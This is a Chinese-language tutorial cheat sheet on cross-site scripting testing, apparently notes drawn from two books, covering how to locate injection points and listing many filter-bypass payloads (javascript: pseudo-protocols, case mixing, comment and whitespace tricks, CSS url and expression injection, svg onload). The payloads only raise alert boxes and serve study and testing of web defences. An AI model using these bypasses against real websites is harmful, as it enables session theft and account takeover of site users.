来源《XSS 跨站脚本攻击剖析与防御》&《web 前端技术揭秘》
一, 一般测试方法
步骤:
0. 总则: 见框就插
1. 在输入框随便输入一些简单的字符, 如 aaa, 方便后续查找输出位置
2. 按下 F12 打开开发者模式, ctrl+F 键, 搜索 aaa
3. 多数情况下是在标签的 value="aaa" 中, 或者独立出来包含在一些别的标签中, 如 div,span 等
4. 根据特定情况构造 payload, 一般是直接构造标签或者闭合标签再构造或者利用伪协议等
二, 常用技巧
1.JS 伪协议利用
形式: JavaScript:[代码]
示例:<table background="javascript:alert(1)"></table>, 引号可以去掉
支持伪协议的属性有: href,lowsrc,bgsound,background,action,dynsrc
2. 基于黑名单的过滤
1 JS 代码中, 利用空格, 回车, tab 键
JS 引擎特性: JS 语句通常以分号结尾, 但是如果引擎判断一条语句完整的话, 且结尾有换行符, 就可以省略分号
例:
- var a = 1
- var b = 2;
- // 上述语句正确
示例:<img src="javas cript:alert(1)">, 中间为 tab 键
2 大小写混淆
示例:<IMg SRc oNERRoR=aLERT(1)>
3 编码绕过
暂无
4 奇淫技巧
1. 过滤引号
策略: 双引号不行单引号; 单引号不行不要引号; 不要引号不行试试反引号 `(IE 支持)
2. 过滤空格
策略:/**/, 注释符号绕过;/ 符号绕过;
例:<img/src/onerror=alert(1)>
3. 属性关键词被过滤
策略: 插入 /**/,\,\0
示例:
- //1.`/**/`
- <img src="java/*/*javascript*/script/*javascript*/*/script:alert(1);">
- //2.`\`,`\0` 只能在 CSS 样式中使用, 两者会被浏览器忽略
- <style>
- @\0im\port'\0ja\vasc\ript:alert(1)';
- // 此处用到了 @import, 详细 @import 解释在后面
- </style>
4.`<!-- -->` 注释绕过
`<!--<img src="--><img src onerror=alert(1)//">`
解释:
`<style><img src="</style><img src onerror=alert(1)//">`
解释:
3.JS 事件执行代码
示例:<img src onerror=alert(1)>
JS 事件: onerror,onclick,onmouseover,onkeydown.........
其他事件查询: https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
4. 利用 CSS 跨站 (style 属性或者 style 标签)
1 直接执行
利用的是属性中的 url , 跟伪协议相似
示例:
- //1.
- <div style="background-image:url(javascript:alert(1))">
- //2.
- <style>
- body{
- background-image:url(JavaScript:alert(1));
- }
- </style>
- //3.
- <div style="list-style-image:url(javascript:alert(1));">
2 IE 下利用 expression
解释: expression 用来吧 CSS 属性与 JS 表达式关联起来, 其中 CSS 属性可以是元素固有的属性, 也可以是自定义属性, 如下示例中的 1,2,
示例:
- //1.
- <div style="width:expression(alert(1));">
- //2.
- <img src="#" style="xss:expression(alert(1));">
- //3.
- <div style="list-style-image:expression(alert(1));">
- //4.
- <style>
- body{
- background-image:expression(alert(1));
- }
- </style>
3 引用外部 CSS 文件执行 xss
示例:
- //1. 利用 link 标签
- <link rel="stylesheet" href="http://www.mysite.com/eval.css">
- //2. 利用 @import 导入
- <style type="text/css"> @import url(http://www.mysite.com/eval.css);</style>
- //[email protected] 特性 -- 直接执行 JS 代码
- <style>
- @import "javascript:alert(1)";
- </style>
二, XSS Payload
参考文章: https://www.freebuf.com/articles/web/226719.html
- <svg/onload=alert(1)>
- <details open ontoggle=confirm(0)>
等等等等
来源: http://www.bubuko.com/infodetail-3462699.html